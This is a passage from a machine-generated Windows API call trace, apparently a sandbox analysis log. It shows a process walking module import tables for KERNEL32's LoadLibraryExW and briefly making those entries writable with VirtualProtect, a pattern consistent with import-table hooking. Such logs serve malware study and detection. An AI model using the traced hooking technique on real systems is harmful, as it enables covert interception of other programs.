lpString2="LoadLibraryExW") returned 1 [0073.609] lstrcmpiA (lpString1="SetLastError", lpString2="LoadLibraryExW") returned 1 [0073.609] lstrcmpiA (lpString1="GlobalUnlock", lpString2="LoadLibraryExW") returned -1 [0073.609] lstrcmpiA (lpString1="GlobalFree", lpString2="LoadLibraryExW") returned -1 [0073.609] lstrcmpiA (lpString1="GlobalLock", lpString2="LoadLibraryExW") returned -1 [0073.609] lstrcmpiA (lpString1="CreateThread", lpString2="LoadLibraryExW") returned -1 [0073.609] lstrcmpiA (lpString1="GetLocaleInfoW", lpString2="LoadLibraryExW") returned -1 [0073.609] lstrcmpiA (lpString1="HeapAlloc", lpString2="LoadLibraryExW") returned -1 [0073.609] lstrcmpiA (lpString1="LocalSize", lpString2="LoadLibraryExW") returned 1 [0073.609] lstrcmpiA (lpString1="LocalReAlloc", lpString2="LoadLibraryExW") returned 1 [0073.609] lstrcmpiA (lpString1="LocalFlags", lpString2="LoadLibraryExW") returned 1 [0073.609] lstrcmpiA (lpString1="lstrlenW", lpString2="LoadLibraryExW") returned 1 [0073.609] lstrcmpiA (lpString1="_lclose", lpString2="LoadLibraryExW") returned -1 [0073.609] lstrcmpiA (lpString1="OpenFile", lpString2="LoadLibraryExW") returned 1 [0073.609] lstrcmpiA (lpString1="GetFullPathNameW", lpString2="LoadLibraryExW") returned -1 [0073.609] lstrcmpiA (lpString1="CloseHandle", lpString2="LoadLibraryExW") returned -1 [0073.609] lstrcmpiA (lpString1="CreateFileW", lpString2="LoadLibraryExW") returned -1 [0073.609] lstrcmpiA (lpString1="GetThreadLocale", lpString2="LoadLibraryExW") returned -1 [0073.609] lstrcmpiA (lpString1="GetSystemDirectoryW", lpString2="LoadLibraryExW") returned -1 [0073.609] lstrcmpiA (lpString1="LocalAlloc", lpString2="LoadLibraryExW") returned 1 [0073.609] lstrcmpiA (lpString1="FreeLibrary", lpString2="LoadLibraryExW") returned -1 [0073.609] lstrcmpiA (lpString1="GetProcAddress", lpString2="LoadLibraryExW") returned -1 [0073.609] lstrcmpiA (lpString1="LoadLibraryW", lpString2="LoadLibraryExW") returned 1 [0073.609] lstrcmpiA (lpString1="GetModuleHandleW", lpString2="LoadLibraryExW") returned -1 [0073.609] lstrcmpiA (lpString1="BaseCheckAppcompatCache", lpString2="LoadLibraryExW") returned -1 [0073.610] lstrcmpiA (lpString1="GetACP", lpString2="LoadLibraryExW") returned -1 [0073.610] lstrcmpiA (lpString1="GetSystemDefaultLCID", lpString2="LoadLibraryExW") returned -1 [0073.610] lstrcmpiA (lpString1="LocalFree", lpString2="LoadLibraryExW") returned 1 [0073.610] lstrcmpiA (lpString1="IsDBCSLeadByteEx", lpString2="LoadLibraryExW") returned -1 [0073.610] lstrcmpiA (lpString1="WideCharToMultiByte", lpString2="LoadLibraryExW") returned 1 [0073.610] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="LoadLibraryExW") returned 1 [0073.610] lstrcmpiA (lpString1="LocalUnlock", lpString2="LoadLibraryExW") returned 1 [0073.610] lstrcmpiA (lpString1="LocalLock", lpString2="LoadLibraryExW") returned 1 [0073.610] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="LoadLibraryExW") returned -1 [0073.610] lstrcmpiA (lpString1="HeapFree", lpString2="LoadLibraryExW") returned -1 [0073.610] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="LoadLibraryExW") returned 1 [0073.610] lstrcmpiA (lpString1="GetTickCount", lpString2="LoadLibraryExW") returned -1 [0073.610] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="LoadLibraryExW") returned -1 [0073.610] lstrcmpiA (lpString1="TerminateProcess", lpString2="LoadLibraryExW") returned 1 [0073.610] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="LoadLibraryExW") returned -1 [0073.610] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0073.610] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0073.610] lstrcmpiA (lpString1="GlobalAlloc", lpString2="LoadLibraryExW") returned -1 [0073.610] lstrcmpiA (lpString1="GlobalSize", lpString2="LoadLibraryExW") returned -1 [0073.610] lstrcmpiA (lpString1="GetSystemWow64DirectoryW", lpString2="LoadLibraryExW") returned -1 [0073.610] lstrcmpiA (lpString1="GDI32.dll", lpString2="KERNEL32.DLL") returned -1 [0073.610] lstrcmpiA (lpString1="MSCTF.dll", lpString2="KERNEL32.DLL") returned 1 [0073.610] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2040f90 | out: hHeap=0x2030000) returned 1 [0073.610] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7feff080000, lpBuffer=0x23ed10, dwLength=0x30 | out: lpBuffer=0x23ed10*(BaseAddress=0x7feff080000, AllocationBase=0x7feff080000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.610] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ec40, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ec40, ReturnLength=0x0) returned 0x0 [0073.610] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2040f90 [0073.610] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0073.610] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.610] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.610] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.610] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0073.610] lstrcmpiA (lpString1="RtlCaptureContext", lpString2="LoadLibraryExW") returned 1 [0073.610] lstrcmpiA (lpString1="RtlLookupFunctionEntry", lpString2="LoadLibraryExW") returned 1 [0073.610] lstrcmpiA (lpString1="RtlVirtualUnwind", lpString2="LoadLibraryExW") returned 1 [0073.610] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0073.610] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0073.610] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="LoadLibraryExW") returned -1 [0073.610] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="LoadLibraryExW") returned 1 [0073.610] lstrcmpiA (lpString1="WaitForSingleObject", lpString2="LoadLibraryExW") returned 1 [0073.611] lstrcmpiA (lpString1="ReleaseMutex", lpString2="LoadLibraryExW") returned 1 [0073.611] lstrcmpiA (lpString1="CreateMutexW", lpString2="LoadLibraryExW") returned -1 [0073.611] lstrcmpiA (lpString1="CloseHandle", lpString2="LoadLibraryExW") returned -1 [0073.611] lstrcmpiA (lpString1="OpenEventW", lpString2="LoadLibraryExW") returned 1 [0073.611] lstrcmpiA (lpString1="SetEvent", lpString2="LoadLibraryExW") returned 1 [0073.611] lstrcmpiA (lpString1="ResetEvent", lpString2="LoadLibraryExW") returned 1 [0073.611] lstrcmpiA (lpString1="lstrlenW", lpString2="LoadLibraryExW") returned 1 [0073.611] lstrcmpiA (lpString1="EnterCriticalSection", lpString2="LoadLibraryExW") returned -1 [0073.611] lstrcmpiA (lpString1="LeaveCriticalSection", lpString2="LoadLibraryExW") returned -1 [0073.611] lstrcmpiA (lpString1="GetEnvironmentVariableW", lpString2="LoadLibraryExW") returned -1 [0073.611] lstrcmpiA (lpString1="ExpandEnvironmentStringsW", lpString2="LoadLibraryExW") returned -1 [0073.611] lstrcmpiA (lpString1="LocalReAlloc", lpString2="LoadLibraryExW") returned 1 [0073.611] lstrcmpiA (lpString1="WideCharToMultiByte", lpString2="LoadLibraryExW") returned 1 [0073.611] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="LoadLibraryExW") returned 1 [0073.611] lstrcmpiA (lpString1="GetACP", lpString2="LoadLibraryExW") returned -1 [0073.611] lstrcmpiA (lpString1="DelayLoadFailureHook", lpString2="LoadLibraryExW") returned -1 [0073.611] lstrcmpiA (lpString1="LoadLibraryExA", lpString2="LoadLibraryExW") returned -1 [0073.611] lstrcmpiA (lpString1="LoadLibraryW", lpString2="LoadLibraryExW") returned 1 [0073.611] lstrcmpiA (lpString1="GetModuleHandleW", lpString2="LoadLibraryExW") returned -1 [0073.611] lstrcmpiA (lpString1="IsDBCSLeadByteEx", lpString2="LoadLibraryExW") returned -1 [0073.611] lstrcmpiA (lpString1="LCMapStringW", lpString2="LoadLibraryExW") returned -1 [0073.611] lstrcmpiA (lpString1="DeactivateActCtx", lpString2="LoadLibraryExW") returned -1 [0073.611] lstrcmpiA (lpString1="ActivateActCtx", lpString2="LoadLibraryExW") returned -1 [0073.611] lstrcmpiA (lpString1="ReleaseActCtx", lpString2="LoadLibraryExW") returned 1 [0073.611] lstrcmpiA (lpString1="CreateActCtxW", lpString2="LoadLibraryExW") returned -1 [0073.611] lstrcmpiA (lpString1="GetVersionExW", lpString2="LoadLibraryExW") returned -1 [0073.611] lstrcmpiA (lpString1="GetSystemDefaultLangID", lpString2="LoadLibraryExW") returned -1 [0073.611] lstrcmpiA (lpString1="GetUserDefaultUILanguage", lpString2="LoadLibraryExW") returned -1 [0073.611] lstrcmpiA (lpString1="CreateProcessW", lpString2="LoadLibraryExW") returned -1 [0073.611] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="LoadLibraryExW") returned 0 [0073.611] VirtualProtect (in: lpAddress=0x7feff1212c0, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x23ec40 | out: lpflOldProtect=0x23ec40*=0x2) returned 1 [0073.611] VirtualProtect (in: lpAddress=0x7feff1212c0, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x23ec40 | out: lpflOldProtect=0x23ec40*=0x40) returned 1 [0073.612] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef87e0000, lpBuffer=0x23ed10, dwLength=0x30 | out: lpBuffer=0x23ed10*(BaseAddress=0x7fef87e0000, AllocationBase=0x7fef87e0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.612] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ec40, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ec40, ReturnLength=0x0) returned 0x0 [0073.612] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2041000 [0073.612] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0073.612] lstrcmpiA (lpString1="USER32.dll", lpString2="KERNEL32.DLL") returned 1 [0073.612] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0073.612] lstrcmpiA (lpString1="GetDiskFreeSpaceW", lpString2="LoadLibraryExW") returned -1 [0073.612] lstrcmpiA (lpString1="RtlCaptureContext", lpString2="LoadLibraryExW") returned 1 [0073.612] lstrcmpiA (lpString1="RtlLookupFunctionEntry", lpString2="LoadLibraryExW") returned 1 [0073.612] lstrcmpiA (lpString1="RtlVirtualUnwind", lpString2="LoadLibraryExW") returned 1 [0073.612] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0073.612] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0073.612] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="LoadLibraryExW") returned -1 [0073.612] lstrcmpiA (lpString1="TerminateProcess", lpString2="LoadLibraryExW") returned 1 [0073.612] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="LoadLibraryExW") returned -1 [0073.612] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="LoadLibraryExW") returned -1 [0073.612] lstrcmpiA (lpString1="GetTickCount", lpString2="LoadLibraryExW") returned -1 [0073.612] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="LoadLibraryExW") returned 1 [0073.612] lstrcmpiA (lpString1="Sleep", lpString2="LoadLibraryExW") returned 1 [0073.612] lstrcmpiA (lpString1="CloseHandle", lpString2="LoadLibraryExW") returned -1 [0073.612] lstrcmpiA (lpString1="CreateEventW", lpString2="LoadLibraryExW") returned -1 [0073.612] lstrcmpiA (lpString1="ResetEvent", lpString2="LoadLibraryExW") returned 1 [0073.612] lstrcmpiA (lpString1="GetLastError", lpString2="LoadLibraryExW") returned -1 [0073.612] lstrcmpiA (lpString1="GetOverlappedResult", lpString2="LoadLibraryExW") returned -1 [0073.612] lstrcmpiA (lpString1="CreateFileW", lpString2="LoadLibraryExW") returned -1 [0073.612] lstrcmpiA (lpString1="ReadFile", lpString2="LoadLibraryExW") returned 1 [0073.612] lstrcmpiA (lpString1="WriteFile", lpString2="LoadLibraryExW") returned 1 [0073.612] lstrcmpiA (lpString1="GetFileSize", lpString2="LoadLibraryExW") returned -1 [0073.612] lstrcmpiA (lpString1="GetFullPathNameW", lpString2="LoadLibraryExW") returned -1 [0073.612] lstrcmpiA (lpString1="GlobalSize", lpString2="LoadLibraryExW") returned -1 [0073.612] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="LoadLibraryExW") returned -1 [0073.612] lstrcmpiA (lpString1="DeleteCriticalSection", lpString2="LoadLibraryExW") returned -1 [0073.612] lstrcmpiA (lpString1="EnterCriticalSection", lpString2="LoadLibraryExW") returned -1 [0073.612] lstrcmpiA (lpString1="LeaveCriticalSection", lpString2="LoadLibraryExW") returned -1 [0073.613] lstrcmpiA (lpString1="InitializeCriticalSection", lpString2="LoadLibraryExW") returned -1 [0073.613] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="LoadLibraryExW") returned 1 [0073.613] lstrcmpiA (lpString1="lstrcmpW", lpString2="LoadLibraryExW") returned 1 [0073.613] lstrcmpiA (lpString1="WideCharToMultiByte", lpString2="LoadLibraryExW") returned 1 [0073.613] lstrcmpiA (lpString1="lstrlenA", lpString2="LoadLibraryExW") returned 1 [0073.613] lstrcmpiA (lpString1="GlobalLock", lpString2="LoadLibraryExW") returned -1 [0073.613] lstrcmpiA (lpString1="GlobalAlloc", lpString2="LoadLibraryExW") returned -1 [0073.613] lstrcmpiA (lpString1="MulDiv", lpString2="LoadLibraryExW") returned 1 [0073.613] lstrcmpiA (lpString1="GlobalUnlock", lpString2="LoadLibraryExW") returned -1 [0073.613] lstrcmpiA (lpString1="GlobalFree", lpString2="LoadLibraryExW") returned -1 [0073.613] lstrcmpiA (lpString1="LocalAlloc", lpString2="LoadLibraryExW") returned 1 [0073.613] lstrcmpiA (lpString1="GlobalHandle", lpString2="LoadLibraryExW") returned -1 [0073.613] lstrcmpiA (lpString1="LocalFree", lpString2="LoadLibraryExW") returned 1 [0073.613] lstrcmpiA (lpString1="GlobalReAlloc", lpString2="LoadLibraryExW") returned -1 [0073.613] lstrcmpiA (lpString1="lstrlenW", lpString2="LoadLibraryExW") returned 1 [0073.613] lstrcmpiA (lpString1="SetErrorMode", lpString2="LoadLibraryExW") returned 1 [0073.613] lstrcmpiA (lpString1="DisableThreadLibraryCalls", lpString2="LoadLibraryExW") returned -1 [0073.613] lstrcmpiA (lpString1="GDI32.dll", lpString2="KERNEL32.DLL") returned -1 [0073.613] lstrcmpiA (lpString1="WINMM.dll", lpString2="KERNEL32.DLL") returned 1 [0073.613] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="KERNEL32.DLL") returned -1 [0073.613] lstrcmpiA (lpString1="ole32.dll", lpString2="KERNEL32.DLL") returned 1 [0073.613] lstrcmpiA (lpString1="MSACM32.dll", lpString2="KERNEL32.DLL") returned 1 [0073.613] lstrcmpiA (lpString1="MSVFW32.dll", lpString2="KERNEL32.DLL") returned 1 [0073.613] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2041000 | out: hHeap=0x2030000) returned 1 [0073.613] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefea30000, lpBuffer=0x23ed10, dwLength=0x30 | out: lpBuffer=0x23ed10*(BaseAddress=0x7fefea30000, AllocationBase=0x7fefea30000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.613] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ec40, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ec40, ReturnLength=0x0) returned 0x0 [0073.613] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2041000 [0073.613] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0073.613] lstrcmpiA (lpString1="GDI32.dll", lpString2="KERNEL32.DLL") returned -1 [0073.613] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0073.613] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="KERNEL32.DLL") returned 1 [0073.613] lstrcmpiA (lpString1="API-MS-Win-Core-Debug-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.613] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.613] lstrcmpiA (lpString1="API-MS-Win-Core-Fibers-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.613] lstrcmpiA (lpString1="API-MS-Win-Core-File-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.613] lstrcmpiA (lpString1="API-MS-Win-Core-Handle-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.613] lstrcmpiA (lpString1="API-MS-Win-Core-Heap-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.613] lstrcmpiA (lpString1="API-MS-Win-Core-Interlocked-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.613] lstrcmpiA (lpString1="API-MS-Win-Core-IO-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.614] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.614] lstrcmpiA (lpString1="API-MS-Win-Core-Localization-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.614] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.614] lstrcmpiA (lpString1="API-MS-Win-Core-Memory-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.614] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.614] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessEnvironment-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.614] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.614] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.614] lstrcmpiA (lpString1="API-MS-Win-Core-String-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.614] lstrcmpiA (lpString1="API-MS-Win-Core-Synch-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.614] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.614] lstrcmpiA (lpString1="API-MS-Win-Core-Util-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.614] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.614] lstrcmpiA (lpString1="USER32.dll", lpString2="KERNEL32.DLL") returned 1 [0073.614] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="KERNEL32.DLL") returned 1 [0073.614] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0073.614] lstrcmpiA (lpString1="GetSystemWow64DirectoryW", lpString2="LoadLibraryExW") returned -1 [0073.614] lstrcmpiA (lpString1="DelayLoadFailureHook", lpString2="LoadLibraryExW") returned -1 [0073.614] lstrcmpiA (lpString1="SleepConditionVariableCS", lpString2="LoadLibraryExW") returned 1 [0073.614] lstrcmpiA (lpString1="WakeAllConditionVariable", lpString2="LoadLibraryExW") returned 1 [0073.614] lstrcmpiA (lpString1="SetThreadStackGuarantee", lpString2="LoadLibraryExW") returned 1 [0073.614] lstrcmpiA (lpString1="CreateSemaphoreW", lpString2="LoadLibraryExW") returned -1 [0073.614] lstrcmpiA (lpString1="GlobalMemoryStatus", lpString2="LoadLibraryExW") returned -1 [0073.614] lstrcmpiA (lpString1="GetTempPathW", lpString2="LoadLibraryExW") returned -1 [0073.614] lstrcmpiA (lpString1="MulDiv", lpString2="LoadLibraryExW") returned 1 [0073.614] lstrcmpiA (lpString1="GlobalFindAtomA", lpString2="LoadLibraryExW") returned -1 [0073.614] lstrcmpiA (lpString1="GlobalReAlloc", lpString2="LoadLibraryExW") returned -1 [0073.614] lstrcmpiA (lpString1="GlobalAddAtomW", lpString2="LoadLibraryExW") returned -1 [0073.614] lstrcmpiA (lpString1="GlobalFindAtomW", lpString2="LoadLibraryExW") returned -1 [0073.614] lstrcmpiA (lpString1="GlobalAddAtomA", lpString2="LoadLibraryExW") returned -1 [0073.614] lstrcmpiA (lpString1="GlobalGetAtomNameA", lpString2="LoadLibraryExW") returned -1 [0073.614] lstrcmpiA (lpString1="GlobalGetAtomNameW", lpString2="LoadLibraryExW") returned -1 [0073.614] lstrcmpiA (lpString1="GlobalDeleteAtom", lpString2="LoadLibraryExW") returned -1 [0073.614] lstrcmpiA (lpString1="GlobalSize", lpString2="LoadLibraryExW") returned -1 [0073.614] lstrcmpiA (lpString1="InitOnceExecuteOnce", lpString2="LoadLibraryExW") returned -1 [0073.614] lstrcmpiA (lpString1="DosDateTimeToFileTime", lpString2="LoadLibraryExW") returned -1 [0073.614] lstrcmpiA (lpString1="FileTimeToDosDateTime", lpString2="LoadLibraryExW") returned -1 [0073.614] lstrcmpiA (lpString1="FindActCtxSectionStringW", lpString2="LoadLibraryExW") returned -1 [0073.614] lstrcmpiA (lpString1="LoadLibraryA", lpString2="LoadLibraryExW") returned -1 [0073.614] lstrcmpiA (lpString1="WriteProfileStringW", lpString2="LoadLibraryExW") returned 1 [0073.615] lstrcmpiA (lpString1="GetProfileStringW", lpString2="LoadLibraryExW") returned -1 [0073.615] lstrcmpiA (lpString1="GetCurrentActCtx", lpString2="LoadLibraryExW") returned -1 [0073.615] lstrcmpiA (lpString1="DeactivateActCtx", lpString2="LoadLibraryExW") returned -1 [0073.615] lstrcmpiA (lpString1="ActivateActCtx", lpString2="LoadLibraryExW") returned -1 [0073.615] lstrcmpiA (lpString1="CreateActCtxW", lpString2="LoadLibraryExW") returned -1 [0073.615] lstrcmpiA (lpString1="WaitForMultipleObjects", lpString2="LoadLibraryExW") returned 1 [0073.615] lstrcmpiA (lpString1="InitializeConditionVariable", lpString2="LoadLibraryExW") returned -1 [0073.615] lstrcmpiA (lpString1="FindActCtxSectionGuid", lpString2="LoadLibraryExW") returned -1 [0073.615] lstrcmpiA (lpString1="AddRefActCtx", lpString2="LoadLibraryExW") returned -1 [0073.615] lstrcmpiA (lpString1="ReleaseActCtx", lpString2="LoadLibraryExW") returned 1 [0073.615] lstrcmpiA (lpString1="IsBadWritePtr", lpString2="LoadLibraryExW") returned -1 [0073.615] lstrcmpiA (lpString1="IsBadReadPtr", lpString2="LoadLibraryExW") returned -1 [0073.615] lstrcmpiA (lpString1="IsThreadAFiber", lpString2="LoadLibraryExW") returned -1 [0073.615] lstrcmpiA (lpString1="GlobalUnlock", lpString2="LoadLibraryExW") returned -1 [0073.615] lstrcmpiA (lpString1="GlobalLock", lpString2="LoadLibraryExW") returned -1 [0073.615] lstrcmpiA (lpString1="LoadLibraryW", lpString2="LoadLibraryExW") returned 1 [0073.615] lstrcmpiA (lpString1="API-MS-WIN-Service-Core-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.615] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.615] lstrcmpiA (lpString1="API-MS-Win-Security-SDDL-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.615] lstrcmpiA (lpString1="CRYPTSP.dll", lpString2="KERNEL32.DLL") returned -1 [0073.615] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="KERNEL32.DLL") returned -1 [0073.615] lstrcmpiA (lpString1="SHELL32.dll", lpString2="KERNEL32.DLL") returned 1 [0073.615] lstrcmpiA (lpString1="MPR.dll", lpString2="KERNEL32.DLL") returned 1 [0073.615] lstrcmpiA (lpString1="CRYPT32.dll", lpString2="KERNEL32.DLL") returned -1 [0073.615] lstrcmpiA (lpString1="msiltcfg.dll", lpString2="KERNEL32.DLL") returned 1 [0073.615] lstrcmpiA (lpString1="CLBCatQ.DLL", lpString2="KERNEL32.DLL") returned -1 [0073.615] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="KERNEL32.DLL") returned 1 [0073.615] lstrcmpiA (lpString1="imagehlp.dll", lpString2="KERNEL32.DLL") returned -1 [0073.615] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2041000 | out: hHeap=0x2030000) returned 1 [0073.615] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef7730000, lpBuffer=0x23ed10, dwLength=0x30 | out: lpBuffer=0x23ed10*(BaseAddress=0x7fef7730000, AllocationBase=0x7fef7730000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.615] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ec40, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ec40, ReturnLength=0x0) returned 0x0 [0073.615] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2041000 [0073.615] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0073.615] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0073.615] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0073.615] lstrcmpiA (lpString1="GetPrivateProfileStringW", lpString2="LoadLibraryExW") returned -1 [0073.615] lstrcmpiA (lpString1="InitializeCriticalSection", lpString2="LoadLibraryExW") returned -1 [0073.615] lstrcmpiA (lpString1="TlsSetValue", lpString2="LoadLibraryExW") returned 1 [0073.615] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="LoadLibraryExW") returned -1 [0073.615] lstrcmpiA (lpString1="TlsGetValue", lpString2="LoadLibraryExW") returned 1 [0073.615] lstrcmpiA (lpString1="WritePrivateProfileStringW", lpString2="LoadLibraryExW") returned 1 [0073.616] lstrcmpiA (lpString1="LocalAlloc", lpString2="LoadLibraryExW") returned 1 [0073.616] lstrcmpiA (lpString1="DeleteCriticalSection", lpString2="LoadLibraryExW") returned -1 [0073.616] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="LoadLibraryExW") returned -1 [0073.616] lstrcmpiA (lpString1="TlsAlloc", lpString2="LoadLibraryExW") returned 1 [0073.616] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="LoadLibraryExW") returned -1 [0073.616] lstrcmpiA (lpString1="LocalFree", lpString2="LoadLibraryExW") returned 1 [0073.616] lstrcmpiA (lpString1="TlsFree", lpString2="LoadLibraryExW") returned 1 [0073.616] lstrcmpiA (lpString1="GlobalAlloc", lpString2="LoadLibraryExW") returned -1 [0073.616] lstrcmpiA (lpString1="LeaveCriticalSection", lpString2="LoadLibraryExW") returned -1 [0073.616] lstrcmpiA (lpString1="EnterCriticalSection", lpString2="LoadLibraryExW") returned -1 [0073.616] lstrcmpiA (lpString1="lstrcmpW", lpString2="LoadLibraryExW") returned 1 [0073.616] lstrcmpiA (lpString1="GlobalLock", lpString2="LoadLibraryExW") returned -1 [0073.616] lstrcmpiA (lpString1="GetProfileStringW", lpString2="LoadLibraryExW") returned -1 [0073.616] lstrcmpiA (lpString1="lstrlenW", lpString2="LoadLibraryExW") returned 1 [0073.616] lstrcmpiA (lpString1="GlobalUnlock", lpString2="LoadLibraryExW") returned -1 [0073.616] lstrcmpiA (lpString1="GlobalHandle", lpString2="LoadLibraryExW") returned -1 [0073.616] lstrcmpiA (lpString1="WaitForSingleObject", lpString2="LoadLibraryExW") returned 1 [0073.616] lstrcmpiA (lpString1="ResetEvent", lpString2="LoadLibraryExW") returned 1 [0073.616] lstrcmpiA (lpString1="CloseHandle", lpString2="LoadLibraryExW") returned -1 [0073.616] lstrcmpiA (lpString1="FreeResource", lpString2="LoadLibraryExW") returned -1 [0073.616] lstrcmpiA (lpString1="lstrlenA", lpString2="LoadLibraryExW") returned 1 